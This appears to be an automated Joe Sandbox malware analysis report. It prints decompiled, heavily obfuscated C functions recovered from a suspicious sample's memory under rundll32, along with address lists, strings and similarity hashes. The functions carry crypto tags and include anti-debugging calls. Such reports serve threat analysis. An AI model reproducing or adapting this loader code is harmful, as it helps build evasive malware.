									_t105 = _t105 + E029CE05F(_v20, _v36, _v40, _t104 + 0x24);
								}
							}
						}
						L6:
						return _t105;
					}
					_t87 = E029D7E10();
					_t107 = _t107 - 0xc + 0xc;
					_t101 = 0xcbaafb0;
					_t105 = _t105 + _t87;
					L10:
				} while (_t101 != 0x1b93bd8);
				goto L6;
			}

0x029dcf2c
0x029dcf33
0x029dcf35
0x029dcf3d
0x029dcf42
0x029dcf4a
0x029dcf51
0x029dcf5a
0x029dcf5e
0x029dcf66
0x029dcf6b
0x029dcf73
0x029dcf7b
0x029dcf83
0x029dcf8b
0x029dcf93
0x029dcf9b
0x029dcfa3
0x029dcfab
0x029dcfb3
0x029dcfbb
0x029dcfc3
0x029dcfcb
0x029dcfd8
0x029dcfdc
0x029dcfe4
0x029dcfec
0x029dcff4
0x029dcffc
0x029dd004
0x029dd00c
0x029dd014
0x029dd019
0x029dd01e
0x029dd026
0x029dd02e
0x029dd033
0x029dd037
0x029dd03f
0x029dd047
0x029dd04f
0x029dd057
0x029dd05f
0x029dd067
0x029dd06f
0x029dd077
0x029dd07f
0x029dd07f
0x029dd089
0x029dd0d7
0x00000000
0x029dd08b
0x029dd091
0x029dd0d1
0x029dd0d3
0x00000000
0x029dd093
0x029dd095
0x00000000
0x029dd097
0x029dd0ae
0x029dd0ae
0x029dd095
0x029dd091
0x029dd0b1
0x029dd0b9
0x029dd0b9
0x029dd0ee
0x029dd0f3
0x029dd0f6
0x029dd0fb
0x029dd0fd
0x029dd0fd
0x00000000

Strings

9b', xrefs: 029DCF35
(", xrefs: 029DCF83
zL, xrefs: 029DCF7B
q, xrefs: 029DD02E

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: zL$("$9b'$q
API String ID: 0-871342943
Opcode ID: d58202ca7df7bc05c79e8fbda96cdac0ffd23f09c47f9b8b024468306da2de10
Instruction ID: 32b28664a4bea55b932f7bfb5a8b21bfaf64e2d5e95dc102004164a39ea22815
Opcode Fuzzy Hash: d58202ca7df7bc05c79e8fbda96cdac0ffd23f09c47f9b8b024468306da2de10
Instruction Fuzzy Hash: AB4145B25093019FC394CF20D58940BBBE5FBD8718F508A1DF88996224D7B4DA0ACF97

Uniqueness

Uniqueness Score: -1.00%

Function 6EA129E6, Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 6EA12ADE
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 6EA12AE8
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 6EA12AF5

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 877ff1d8664b315df9ff2137e5794d7822476454b9d77de7bc7f6bfe995f63f7
Instruction ID: 31ee627f4e058b8a1eb99c641815d880fb926952604ce245de074dac488b505d
Opcode Fuzzy Hash: 877ff1d8664b315df9ff2137e5794d7822476454b9d77de7bc7f6bfe995f63f7
Instruction Fuzzy Hash: 7531A4759012289BCB61DF64D9887CDBBB8BF08314F5085EAE41CA7250E7709FC59F58

Uniqueness

Uniqueness Score: -1.00%

Function 029DB0BA, Relevance: 4.2, Strings: 3, Instructions: 430
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E029DB0BA(void* __ecx, intOrPtr* __edx, intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12) {
				char _v32;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				char* _v64;
				char _v92;
				char _v100;
				intOrPtr _v104;
				char _v108;
				intOrPtr _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				unsigned int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				unsigned int _v280;
				void* _t421;
				void* _t452;
				intOrPtr _t460;
				void* _t466;
				void* _t477;
				signed int _t479;
				intOrPtr* _t482;
				void* _t484;
				signed char* _t498;
				void* _t499;
				signed char* _t531;
				intOrPtr* _t535;
				intOrPtr _t536;
				intOrPtr _t537;
				void* _t538;
				signed char* _t539;
				signed int _t541;
				signed int _t542;
				signed int _t543;
				signed int _t544;
				signed int _t545;
				signed int _t546;
				signed int _t547;
				signed int _t548;
				intOrPtr _t549;
				signed int* _t551;
				signed int* _t553;
				void* _t556;

				_t482 = _a8;
				_push(_a12);
				_t535 = __edx;
				_push(_t482);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t421);
				_v132 = 0x54fab3;
				_t551 =  &(( &_v280)[5]);
				_t536 = 0;
				_t484 = 0x2ca6b32;
				_v112 = 0;
				_t541 = 6;
				_v132 = _v132 * 0x3e;
				_v132 = _v132 ^ 0x1494b75a;
				_v164 = 0x6dac92;
				_v164 = _v164 + 0xf557;
				_v164 = _v164 * 0x46;
				_v164 = _v164 ^ 0x1e4045f6;
				_v276 = 0xb42ab7;
				_v276 = _v276 ^ 0x3d870af7;
				_v276 = _v276 ^ 0x4a835ecb;
				_v276 = _v276 >> 0xe;
				_v276 = _v276 ^ 0x0001de81;
				_v232 = 0x461dc4;
				_v232 = _v232 + 0xcb16;
				_v232 = _v232 ^ 0x0675d50d;
				_v232 = _v232 + 0xffff1235;
				_v232 = _v232 ^ 0x063f64bf;
				_v240 = 0xd7c1be;
				_v240 = _v240 / _t541;
				_v240 = _v240 + 0xffffa409;
				_t542 = 0x71;
				_v240 = _v240 / _t542;
				_v240 = _v240 ^ 0x000c9ad0;
				_v208 = 0x506429;
				_v208 = _v208 ^ 0x8ec34267;
				_v208 = _v208 >> 3;
				_v208 = _v208 ^ 0x11dc124d;
				_v280 = 0x2aa463;
				_v280 = _v280 | 0x68aa108e;
				_v280 = _v280 ^ 0xf953a5c6;
				_v280 = _v280 >> 7;
				_v280 = _v280 ^ 0x0120e07f;
				_v220 = 0xd8c9b2;
				_v160 = _t542;
				_t543 = 0xf;
				_v220 = _v220 / _t543;
				_t544 = 0x4c;
				_v220 = _v220 / _t544;
				_v220 = _v220 ^ 0xa0c0582e;
				_v220 = _v220 ^ 0xa0c5a579;
				_v252 = 0x2822a1;
				_v252 = _v252 ^ 0xa41bd933;
				_v252 = _v252 << 7;
				_v252 = _v252 ^ 0x982e55d6;
				_v252 = _v252 ^ 0x81d22d12;
				_v136 = 0xa6f7a2;
				_v136 = _v136 >> 0xf;
				_v136 = _v136 ^ 0x000e4cc6;
				_v144 = 0x864344;
				_t545 = 0x7a;
				_v144 = _v144 * 0x6a;
				_v144 = _v144 ^ 0x3793d8c9;
				_v184 = 0x1f7c81;
				_v184 = _v184 + 0xffff4670;
				_v184 = _v184 >> 9;
				_v184 = _v184 ^ 0x00072f62;
				_v248 = 0xea0bdc;
				_v248 = _v248 * 0x7f;
				_v248 = _v248 + 0xffff8bca;
				_v248 = _v248 << 9;
				_v248 = _v248 ^ 0x36d0fcd4;
				_v256 = 0x431edc;
				_v256 = _v256 << 4;
				_v256 = _v256 | 0xb4793ad6;
				_v256 = _v256 + 0xffff8714;
				_v256 = _v256 ^ 0xb47d8100;
				_v188 = 0xbbbe0e;
				_v188 = _v188 + 0x9a29;
				_v188 = _v188 / _t545;
				_v188 = _v188 ^ 0x000cc928;
				_v264 = 0x3e1f49;
				_v264 = _v264 + 0x9177;
				_v264 = _v264 | 0xfdf7efae;
				_v264 = _v264 ^ 0xfdf95404;
				_v128 = 0x48803a;
				_v128 = _v128 ^ 0x813fcd45;
				_v128 = _v128 ^ 0x8175d878;
				_v272 = 0x9ffa04;
				_v272 = _v272 + 0xffffca24;
				_t546 = 0x2b;
				_v272 = _v272 * 0x56;
				_v272 = _v272 ^ 0x1ff81328;
				_v272 = _v272 ^ 0x2a5243a1;
				_v156 = 0xad5b83;
				_v156 = _v156 * 0x53;
				_v156 = _v156 / _t546;
				_v156 = _v156 ^ 0x01495bff;
				_v204 = 0xdb7d70;
				_v204 = _v204 | 0xf7ddda41;
				_v204 = _v204 ^ 0xf7d420ee;
				_v244 = 0xad853a;
				_v244 = _v244 / _v160;
				_v244 = _v244 | 0xafe082a1;
				_v244 = _v244 ^ 0x3e3cd736;
				_v244 = _v244 ^ 0x91d8e550;
				_v168 = 0xb0b9a2;
				_v168 = _v168 >> 9;
				_v168 = _v168 * 0x53;
				_v168 = _v168 ^ 0x00174f24;
				_v192 = 0x50ff8b;
				_v192 = _v192 + 0x4ab8;
				_v192 = _v192 | 0x12a4f7c0;
				_v192 = _v192 ^ 0x12f16a40;
				_v148 = 0x8983f6;
				_v148 = _v148 ^ 0x11678748;
				_v148 = _v148 >> 0xc;
				_v148 = _v148 ^ 0x000c4f0f;
				_v268 = 0x18e0d1;
				_v268 = _v268 >> 0xe;
				_v268 = _v268 << 4;
				_v268 = _v268 / _t546;
				_v268 = _v268 ^ 0x000b5b63;
				_v124 = 0x6420e;
				_v124 = _v124 + 0x8c16;
				_v124 = _v124 ^ 0x00027bf1;
				_v152 = 0x1a0f02;
				_v152 = _v152 ^ 0xc11c6fc4;
				_v152 = _v152 | 0xf9b4b8f6;
				_v152 = _v152 ^ 0xf9bab97d;
				_v212 = 0x10863b;
				_v212 = _v212 + 0x3cb;
				_v212 = _v212 >> 0xe;
				_v212 = _v212 ^ 0x000e8b4c;
				_v120 = 0x2cc1a8;
				_t547 = 0x26;
				_v120 = _v120 / _t547;
				_v120 = _v120 ^ 0x00099f2d;
				_v200 = 0x730395;
				_v200 = _v200 ^ 0x3a45dfb7;
				_v200 = _v200 >> 0xc;
				_v200 = _v200 ^ 0x0009e588;
				_v116 = 0xad689;
				_v116 = _v116 << 4;
				_v116 = _v116 ^ 0x00a870af;
				_v176 = 0x111e0e;
				_t548 = 5;
				_v176 = _v176 * 0x6f;
				_v176 = _v176 | 0x24aebb5d;
				_v176 = _v176 ^ 0x27ef7ffb;
				_v236 = 0x13f53a;
				_v236 = _v236 | 0xc05e1686;
				_v236 = _v236 * 0x7c;
				_v236 = _v236 + 0xffffeca7;
				_v236 = _v236 ^ 0x2e7e56b7;
				_v196 = 0xb4b382;
				_v196 = _v196 | 0x369b6b14;
				_v196 = _v196 >> 0xc;
				_v196 = _v196 ^ 0x000094f2;
				_v260 = 0x6dad3f;
				_v260 = _v260 | 0x5eed37ff;
				_v260 = _v260 ^ 0xdc8a5f0d;
				_v260 = _v260 ^ 0x826b8ddd;
				_v228 = 0x8f1312;
				_v228 = _v228 ^ 0x6b527022;
				_v228 = _v228 >> 0xa;
				_v228 = _v228 + 0xffff47bb;
				_v228 = _v228 ^ 0x00188c0e;
				_v160 = 0x1e41ed;
				_v160 = _v160 + 0xef9;
				_v160 = _v160 ^ 0x0015d4fb;
				_v216 = 0xed420f;
				_v216 = _v216 >> 5;
				_v216 = _v216 ^ 0x04c45c47;
				_v216 = _v216 | 0xcbab358b;
				_v216 = _v216 ^ 0xcfea1697;
				_v224 = 0x239fb6;
				_v224 = _v224 / _t548;
				_v224 = _v224 + 0xffffea7a;
				_v224 = _v224 << 6;
				_v224 = _v224 ^ 0x01c62fe2;
				_v140 = 0x229566;
				_v140 = _v140 | 0xdfd022ea;
				_v140 = _v140 ^ 0xdffe0201;
				_v180 = 0xfef755;
				_v180 = _v180 + 0xffff29dc;
				_v180 = _v180 + 0xffff1147;
				_v180 = _v180 ^ 0x00fd3268;
				_v172 = 0x1df43;
				_v172 = _v172 << 0xf;
				_v172 = _v172 << 6;
				_v172 = _v172 ^ 0xe8600080;
				_t549 = _v112;
				goto L1;
				do {
					while(1) {
						L1:
						_t556 = _t484 - 0x54047e3;
						if(_t556 > 0) {
							break;
						}
						if(_t556 == 0) {
							_v48 = _a12;
							_v64 =  &_v32;
							_v56 =  *_t535;
							_v52 =  *((intOrPtr*)(_t535 + 4));
							_v60 = 0x20;
							_t466 = E029CE336( &_v100, _v220, _v252,  &_v92);
							_t551 =  &(_t551[3]);
							if(_t466 == 0) {
								L22:
								return _t536;
							}
							_t484 = 0x502132f;
							continue;
						}
						if(_t484 == 0x2464657) {
							E029CF699(_v236, _v108, _v196, _v260, _v228);
							_t551 =  &(_t551[3]);
							_t484 = 0xe01c61b;
							continue;
						}
						if(_t484 == 0x2ca6b32) {
							_t484 = 0x72528f2;
							continue;
						}
						if(_t484 == 0x4c5f7f9) {
							_t537 =  *_t482;
							E029C7A7E(_v156, _t537, _v204);
							_t538 = _t537 + _v276;
							E029D4626(_v108, _v104, _t538, _v244, _v168, _v192, _v148);
							_t539 = _t538 + _v104;
							_push(_t539);
							_push(_v212);
							_push(_v152);
							_push(_t549);
							E029D431C(_v268, _v124);
							_t531 =  &(_t539[_t549]);
							_t553 =  &(_t551[9]);
							_t498 = _t539;
							if(_t539 >= _t531) {
								L12:
								_push(_t498);
								_push(0);
								_push(_t498);
								_push(_t498);
								_t499 = 0xe;
								_t477 = E029D2CCF(_t499);
								_t551 =  &(_t553[4]);
								_t484 = 0x2464657;
								 *((char*)(_t477 + _t539)) = 0;
								_t536 = _v112;
								continue;
							} else {
								goto L9;
							}
							do {
								L9:
								if(( *_t498 & 0x000000ff) == _v132) {
									 *_t498 = 0xc3;
								}
								_t498 =  &(_t498[1]);
							} while (_t498 < _t531);
							goto L12;
						}
						if(_t484 != 0x502132f) {
							goto L30;
						}
						_t479 = E029C2575( &_v100, _v136,  &_v108, _v144, _v184);
						_t551 =  &(_t551[3]);
						asm("sbb ecx, ecx");
						_t484 = ( ~_t479 & 0xfd1e6e6f) + 0xe01c61b;
					}
					if(_t484 == 0x72528f2) {
						_push(_v208);
						_t452 = E029E0C66( &_v32, _v232, _v240, _t484,  *_t535,  *((intOrPtr*)(_t535 + 4)));
						_t551 =  &(_t551[5]);
						if(_t452 == 0) {
							_t484 = 0x52f6d54;
							goto L30;
						}
						_t484 = 0x54047e3;
						goto L1;
					}
					if(_t484 == 0xb20348a) {
						_push(_t484);
						_push(_v180);
						_push(_t484);
						_t549 = E029D2CCF(_v172, _t484);
						_t551 =  &(_t551[4]);
						 *((intOrPtr*)(_t482 + 4)) = _v164 + _v104 + _t549;
						_t484 = 0xbbfcd79;
						goto L1;
					}
					if(_t484 == 0xbbfcd79) {
						_push(_t484);
						_t460 = E029D6F53( *((intOrPtr*)(_t482 + 4)));
						 *_t482 = _t460;
						if(_t460 == 0) {
							_t484 = 0x2464657;
						} else {
							_t484 = 0x4c5f7f9;
							_t536 = 1;
							_v112 = 1;
						}
						goto L1;
					}
					if(_t484 != 0xe01c61b) {
						goto L30;
					}
					E029CF699(_v160, _v100, _v216, _v224, _v140);
					goto L22;
					L30:
				} while (_t484 != 0x52f6d54);
				goto L22;
			}

0x029db0c1
0x029db0cb
0x029db0d2
0x029db0d4
0x029db0d5
0x029db0dc
0x029db0dd
0x029db0de
0x029db0e3
0x029db0ee
0x029db0fb
0x029db0fd
0x029db102
0x029db10b
0x029db10c
0x029db113
0x029db11e
0x029db129
0x029db13e
0x029db145
0x029db150
0x029db158
0x029db160
0x029db168
0x029db16d
0x029db175
0x029db17d
0x029db185
0x029db18d
0x029db195
0x029db19d
0x029db1ad
0x029db1b1
0x029db1bd
0x029db1c2
0x029db1c8
0x029db1d0
0x029db1d8
0x029db1e0
0x029db1e5
0x029db1ed
0x029db1f5
0x029db1fd
0x029db205
0x029db20a
0x029db212
0x029db21e
0x029db225
0x029db22a
0x029db234
0x029db237
0x029db23b
0x029db243
0x029db24b
0x029db253
0x029db25b
0x029db260
0x029db268
0x029db270
0x029db27b
0x029db285
0x029db290
0x029db2a5
0x029db2a8
0x029db2af
0x029db2ba
0x029db2c2
0x029db2ca
0x029db2cf
0x029db2d7
0x029db2e4
0x029db2e8
0x029db2f0
0x029db2f5
0x029db2fd
0x029db305
0x029db30a
0x029db312
0x029db31a
0x029db322
0x029db32a
0x029db33a
0x029db33e
0x029db346
0x029db34e
0x029db356
0x029db35e
0x029db366
0x029db371
0x029db37c
0x029db387
0x029db38f
0x029db39c
0x029db39d
0x029db3a1
0x029db3a9
0x029db3b1
0x029db3c4
0x029db3d6
0x029db3dd
0x029db3e8
0x029db3f0
0x029db3f8
0x029db400
0x029db413
0x029db417
0x029db41f
0x029db427
0x029db42f
0x029db43a
0x029db44a
0x029db451
0x029db45c
0x029db464
0x029db46c
0x029db474
0x029db47c
0x029db487
0x029db492
0x029db49a
0x029db4a5
0x029db4ad
0x029db4b2
0x029db4c1
0x029db4c7
0x029db4cf
0x029db4da
0x029db4e5
0x029db4f0
0x029db4fb
0x029db506
0x029db511
0x029db51c
0x029db524
0x029db52c
0x029db531
0x029db539
0x029db54b
0x029db550
0x029db559
0x029db564
0x029db56c
0x029db574
0x029db579
0x029db581
0x029db58c
0x029db594
0x029db59f
0x029db5ac
0x029db5ad
0x029db5b1
0x029db5b9
0x029db5c1
0x029db5c9
0x029db5d6
0x029db5da
0x029db5e2
0x029db5ea
0x029db5f2
0x029db5fa
0x029db5ff
0x029db607
0x029db60f
0x029db617
0x029db61f
0x029db627
0x029db62f
0x029db637
0x029db63c
0x029db644
0x029db64c
0x029db657
0x029db662
0x029db66d
0x029db675
0x029db67a
0x029db682
0x029db68a
0x029db692
0x029db6a0
0x029db6a4
0x029db6ac
0x029db6b1
0x029db6b9
0x029db6c4
0x029db6cf
0x029db6da
0x029db6e2
0x029db6ea
0x029db6f2
0x029db6fa
0x029db702
0x029db707
0x029db70c
0x029db714
0x029db714
0x029db71b
0x029db71b
0x029db71b
0x029db71b
0x029db721
0x00000000
0x00000000
0x029db727
0x029db89e
0x029db8ac
0x029db8b5
0x029db8bf
0x029db8d2
0x029db8e5
0x029db8ea
0x029db8ef
0x029db949
0x029db954
0x029db954
0x029db8f1
0x00000000
0x029db8f1
0x029db733
0x029db87e
0x029db883
0x029db886
0x00000000
0x029db886
0x029db73f
0x029db85d
0x00000000
0x029db85d
0x029db74b
0x029db796
0x029db7a5
0x029db7ae
0x029db7d6
0x029db7db
0x029db7e5
0x029db7e6
0x029db7ea
0x029db7fc
0x029db7fd
0x029db802
0x029db805
0x029db808
0x029db80c
0x029db822
0x029db838
0x029db839
0x029db83b
0x029db83c
0x029db83f
0x029db840
0x029db845
0x029db848
0x029db84d
0x029db851
0x00000000
0x00000000
0x00000000
0x00000000
0x029db80e
0x029db80e
0x029db818
0x029db81a
0x029db81a
0x029db81d
0x029db81e
0x00000000
0x029db80e
0x029db753
0x00000000
0x00000000
0x029db77a
0x029db77f
0x029db786
0x029db78e
0x029db78e
0x029db901
0x029db9d3
0x029db9ec
0x029db9f1
0x029db9f6
0x029dba02
0x00000000
0x029dba02
0x029db9f8
0x00000000
0x029db9f8
0x029db90d
0x029db99e
0x029db99f
0x029db9a3
0x029db9b8
0x029db9c1
0x029db9c6
0x029db9c9
0x00000000
0x029db9c9
0x029db915
0x029db963
0x029db964
0x029db969
0x029db96e
0x029db984
0x029db970
0x029db972
0x029db977
0x029db978
0x029db978
0x00000000
0x029db96e
0x029db91d
0x00000000
0x00000000
0x029db940
0x00000000
0x029dba07
0x029dba07
0x00000000

Strings

"pRk, xrefs: 029DB62F
)dP, xrefs: 029DB1D0
, xrefs: 029DB8D2

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: $"pRk$)dP
API String ID: 0-4184037624
Opcode ID: 45d819844b58d380c456ff26c3c4b8519e0cf3759da084b8cdcf85fed14b27d8
Instruction ID: fc911bd71b96094c1526884a6044047e1fb30688d68fce9e1c679a2ccc0ee629
Opcode Fuzzy Hash: 45d819844b58d380c456ff26c3c4b8519e0cf3759da084b8cdcf85fed14b27d8
Instruction Fuzzy Hash: 2D2240715093808FD368CF25C58AA9BFBE2FBC4708F50891DE6DA86260D7B19949DF43

Uniqueness

Uniqueness Score: -1.00%

Function 029C2575, Relevance: 4.0, Strings: 3, Instructions: 290
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E029C2575(intOrPtr* __ecx, void* __edx, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v4;
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				void* _t296;
				intOrPtr _t327;
				void* _t329;
				void* _t334;
				intOrPtr* _t336;
				void* _t338;
				void* _t362;
				intOrPtr* _t364;
				signed int _t365;
				signed int _t366;
				signed int _t367;
				signed int _t368;
				signed int _t369;
				signed int _t370;
				signed int _t371;
				void* _t373;
				void* _t374;

				_t336 = _a4;
				_push(_a12);
				_t364 = __ecx;
				_push(_a8);
				_push(_t336);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t296);
				_v56 = 0x449110;
				_t374 = _t373 + 0x14;
				_v56 = _v56 >> 8;
				_v56 = _v56 ^ 0x00004490;
				_t362 = 0;
				_v108 = 0x55202f;
				_t338 = 0xe3e62e8;
				_v108 = _v108 >> 0xb;
				_v108 = _v108 + 0xffff69f9;
				_v108 = _v108 >> 0xb;
				_v108 = _v108 ^ 0x001fffef;
				_v64 = 0xb8fc9e;
				_t365 = 0x57;
				_v64 = _v64 / _t365;
				_v64 = _v64 + 0xffffa33a;
				_v64 = _v64 ^ 0x0001c38e;
				_v128 = 0xf2a2ff;
				_v128 = _v128 << 9;
				_v128 = _v128 << 0xa;
				_t366 = 0x69;
				_v128 = _v128 * 0x11;
				_v128 = _v128 ^ 0x97780000;
				_v20 = 0xa9637c;
				_v20 = _v20 << 0xf;
				_v20 = _v20 ^ 0xb1be0000;
				_v132 = 0x156d32;
				_v132 = _v132 / _t366;
				_v132 = _v132 ^ 0x0e1a6327;
				_t367 = 0x73;
				_v132 = _v132 / _t367;
				_v132 = _v132 ^ 0x001f64ee;
				_v68 = 0x327e99;
				_v68 = _v68 + 0x1db4;
				_v68 = _v68 + 0xffffdd6c;
				_v68 = _v68 ^ 0x003279b9;
				_v96 = 0x3532b8;
				_v96 = _v96 ^ 0x3746f7ab;
				_v96 = _v96 << 7;
				_v96 = _v96 + 0xffff4a78;
				_v96 = _v96 ^ 0xb9e88ad7;
				_v36 = 0x58401f;
				_t368 = 0x6b;
				_v36 = _v36 * 0x14;
				_v36 = _v36 ^ 0x06e7e9ac;
				_v112 = 0xd76c94;
				_v112 = _v112 + 0xffff05c1;
				_v112 = _v112 + 0x2d8f;
				_v112 = _v112 ^ 0xe411b6d3;
				_v112 = _v112 ^ 0xe4c7d8dd;
				_v88 = 0x1b36d3;
				_v88 = _v88 << 0xe;
				_v88 = _v88 / _t368;
				_v88 = _v88 << 2;
				_v88 = _v88 ^ 0x07bb5598;
				_v44 = 0x65a2f8;
				_v44 = _v44 << 0x10;
				_v44 = _v44 ^ 0xa2f5f493;
				_v120 = 0x1f4d76;
				_v120 = _v120 << 7;
				_v120 = _v120 << 0xb;
				_t369 = 0x73;
				_v120 = _v120 * 0x5f;
				_v120 = _v120 ^ 0xfb21561c;
				_v28 = 0xd4a709;
				_v28 = _v28 * 0x65;
				_v28 = _v28 ^ 0x53e30fe4;
				_v104 = 0xb67dca;
				_v104 = _v104 * 0x23;
				_v104 = _v104 + 0x9510;
				_v104 = _v104 ^ 0x6ffc2b69;
				_v104 = _v104 ^ 0x77085f11;
				_v12 = 0x75780e;
				_v12 = _v12 ^ 0x21af6e9e;
				_v12 = _v12 ^ 0x21d7e27d;
				_v92 = 0x806296;
				_v92 = _v92 ^ 0xd7a2059d;
				_t370 = 0x78;
				_v92 = _v92 / _t369;
				_v92 = _v92 * 0x3c;
				_v92 = _v92 ^ 0x703cc078;
				_v100 = 0xee7103;
				_v100 = _v100 + 0xffff93e5;
				_v100 = _v100 * 0x61;
				_v100 = _v100 * 0x25;
				_v100 = _v100 ^ 0x08e78a0d;
				_v32 = 0x9f3f7f;
				_v32 = _v32 ^ 0xb74ae778;
				_v32 = _v32 ^ 0xb7d84f05;
				_v76 = 0x4505f7;
				_v76 = _v76 + 0xffff79a0;
				_v76 = _v76 * 0x49;
				_v76 = _v76 ^ 0x1380bc11;
				_v116 = 0x367ee5;
				_v116 = _v116 << 0xf;
				_v116 = _v116 ^ 0x10fc4370;
				_v116 = _v116 | 0xac7e99a3;
				_v116 = _v116 ^ 0xaffa34fe;
				_v80 = 0x318db3;
				_v80 = _v80 ^ 0x47002a08;
				_v80 = _v80 ^ 0x4fa8ef87;
				_v80 = _v80 ^ 0x08980c08;
				_v124 = 0xab5d9d;
				_v124 = _v124 | 0x28cff051;
				_v124 = _v124 + 0x9576;
				_v124 = _v124 * 0x3d;
				_v124 = _v124 ^ 0xc155da40;
				_v40 = 0xc0b315;
				_v40 = _v40 * 0x23;
				_v40 = _v40 ^ 0x1a56f0e7;
				_v48 = 0xecfd7c;
				_v48 = _v48 >> 7;
				_v48 = _v48 ^ 0x0007b30c;
				_v52 = 0x61a42e;
				_v52 = _v52 ^ 0x0ae36d2b;
				_v52 = _v52 ^ 0x0a804865;
				_v72 = 0xcf2b86;
				_v72 = _v72 / _t370;
				_t371 = 0x2f;
				_v72 = _v72 * 0x35;
				_v72 = _v72 ^ 0x0057cbcc;
				_v60 = 0xd75afa;
				_v60 = _v60 / _t371;
				_v60 = _v60 ^ 0xda56d0ba;
				_v60 = _v60 ^ 0xda5a07be;
				_v16 = 0xeb034d;
				_v16 = _v16 ^ 0x86a75e11;
				_v16 = _v16 ^ 0x864d8618;
				_v84 = 0x9dfb98;
				_v84 = _v84 << 0xa;
				_v84 = _v84 * 0x62;
				_v84 = _v84 >> 0xf;
				_v84 = _v84 ^ 0x0002a21e;
				_v24 = 0x1614ce;
				_v24 = _v24 ^ 0xa30fccb4;
				_v24 = _v24 ^ 0xa3135222;
				do {
					while(_t338 != 0x1671773) {
						if(_t338 == 0x333f8db) {
							_t329 = E029C875D(_v32,  &_v4, _t338, _v76, _v108,  *_t364, _v116, _v80, _v124, _v40, _v8, _v48, _v52,  *((intOrPtr*)(_t364 + 4)), _v132, _t338, _v4,  *((intOrPtr*)( *0x29e5be0 + 0x70)), _v72);
							_t374 = _t374 + 0x44;
							if(_t329 == _v68) {
								 *_t336 = _v8;
								_t362 = 1;
								 *((intOrPtr*)(_t336 + 4)) = _v4;
							} else {
								_t338 = 0xc7d8fd8;
								continue;
							}
						} else {
							if(_t338 == 0x37d4f13) {
								_t334 = E029C875D(_v96,  &_v4, _t338, _v36, _v56,  *_t364, _v112, _v88, _v44, _v120, _t362, _v28, _v104,  *((intOrPtr*)(_t364 + 4)), _v64, _t338, _v128,  *((intOrPtr*)( *0x29e5be0 + 0x70)), _v12);
								_t374 = _t374 + 0x44;
								if(_t334 == _v20) {
									_t338 = 0x1671773;
									continue;
								}
							} else {
								if(_t338 == 0xc7d8fd8) {
									E029CF699(_v60, _v8, _v16, _v84, _v24);
								} else {
									if(_t338 != 0xe3e62e8) {
										goto L14;
									} else {
										_t338 = 0x37d4f13;
										continue;
									}
								}
							}
						}
						L18:
						return _t362;
					}
					_push(_t338);
					_t327 = E029D6F53(_v4);
					_v8 = _t327;
					if(_t327 == 0) {
						_t338 = 0x874e328;
						goto L14;
					} else {
						_t338 = 0x333f8db;
						continue;
					}
					goto L18;
					L14:
				} while (_t338 != 0x874e328);
				goto L18;
			}

0x029c257c
0x029c2586
0x029c258d
0x029c258f
0x029c2596
0x029c2597
0x029c2598
0x029c2599
0x029c259e
0x029c25a6
0x029c25a9
0x029c25b0
0x029c25b8
0x029c25ba
0x029c25c2
0x029c25c7
0x029c25cc
0x029c25d4
0x029c25d9
0x029c25e1
0x029c25ef
0x029c25f4
0x029c25fa
0x029c2602
0x029c260a
0x029c2612
0x029c2617
0x029c2621
0x029c2624
0x029c2628
0x029c2630
0x029c263b
0x029c2643
0x029c264e
0x029c265e
0x029c2662
0x029c266e
0x029c2673
0x029c2679
0x029c2681
0x029c2689
0x029c2691
